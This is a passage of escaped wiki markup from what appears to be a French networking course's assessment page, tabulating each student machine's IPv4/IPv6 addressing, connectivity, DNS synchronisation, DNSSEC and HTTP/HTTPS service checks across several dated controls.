| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.12.12.18&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2d:46de&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:9eed&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8c:6bb0&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2f:914a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.18&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feec:85d3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0a:5ec5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe52:a79f&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.14&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe9d:46b9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.12&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4f:5cd&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.11.11.21&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fef3:dbe8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.11.11.20&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe42:f09a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines mandataires. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || brachiosaure || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.181&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe64:9bd8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || heterodontosaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe06:fdf5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || mosasaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.188&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:709&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || plesiosaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.186&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feeb:3067&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || pteranodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.12&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:fa9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || raptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fefc:6d5b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || smilodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.180&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe1c:6d24&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || spinosaure || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4d:60f1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || trex || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.183&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0e:437d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || triceratops || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.11.11.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe5f:b679&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || velociraptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.12.12.16&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feef:fbb8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Bilan des services Internet implantés.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || pas de serveur HTTP pour palourde.fun || pas de serveur HTTP pour www.palourde.fun || pas de serveur HTTPS pour palourde.fun || pas de serveur HTTPS pour www.palourde.fun ||&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || pas de serveur HTTP pour bigorneau.fun || pas de serveur HTTP pour www.bigorneau.fun || pas de serveur HTTPS pour bigorneau.fun || pas de serveur HTTPS pour www.bigorneau.fun ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030501) || DNSSEC non activé || serveur HTTP pour nyala.website (faux positif à cause de gandi) || serveur HTTP pour www.nyala.website (faux positif à cause de gandi) || pas de serveur HTTPS pour nyala.website || pas de serveur HTTPS pour www.nyala.website ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 18h ===&lt;br /&gt;
&lt;br /&gt;
Juste un contrôle sur les services.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || DNS non synchronisés (serial1=2022030502, serial2=2022030501) || DNSSEC non activé || serveur HTTP pour aigle.lol (faux positif gandi) || serveur HTTP pour www.aigle.lol (faux positif gandi) || pas de serveur HTTPS pour aigle.lol || pas de serveur HTTPS pour www.aigle.lol ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || DNS non synchronisés (serial1=3610, serial2=3609) || DNSSEC non activé || pas de serveur HTTP pour palourde.fun || pas de serveur HTTP pour www.palourde.fun || pas de serveur HTTPS pour palourde.fun || pas de serveur HTTPS pour www.palourde.fun ||&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || DNS non synchronisés (serial1=3610, serial2=3609) || DNSSEC non activé || pas de serveur HTTP pour bigorneau.fun || pas de serveur HTTP pour www.bigorneau.fun || pas de serveur HTTPS pour bigorneau.fun || pas de serveur HTTPS pour www.bigorneau.fun ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || DNS non synchronisés (serial1=2022030510, serial2=2022030501) || DNSSEC non activé || serveur HTTP pour nyala.website (faux positif gandi) ||serveur HTTP pour www.nyala.website (faux positif gandi) || pas de serveur HTTPS pour nyala.website || pas de serveur HTTPS pour www.nyala.website ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3608) || DNSSEC non activé || serveur HTTP pour fennec.pics (faux positif gandi) || serveur HTTP pour www.fennec.pics (faux positif gandi) || pas de serveur HTTPS pour fennec.pics || pas de serveur HTTPS pour www.fennec.pics ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || DNS non synchronisés (serial1=3609, serial2=3608) || DNSSEC non activé || serveur HTTP pour castor-canard.lol (faux positif gandi) || serveur HTTP pour www.castor-canard.lol (faux positif gandi) || pas de serveur HTTPS pour castor-canard.lol || pas de serveur HTTPS pour www.castor-canard.lol ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 13/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 13h30 (services) ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC &lt;br /&gt;
! glue record || serveur DNS externes !! certificat sur gandi.net&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030504) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns1.aigle.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.chevreuil.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || non&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.belette.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || non&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.truite.fun&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || non validé, problème DNS ?&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3612) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.esturgeon.fun&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3629) || || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; |  &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.palourde.fun&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
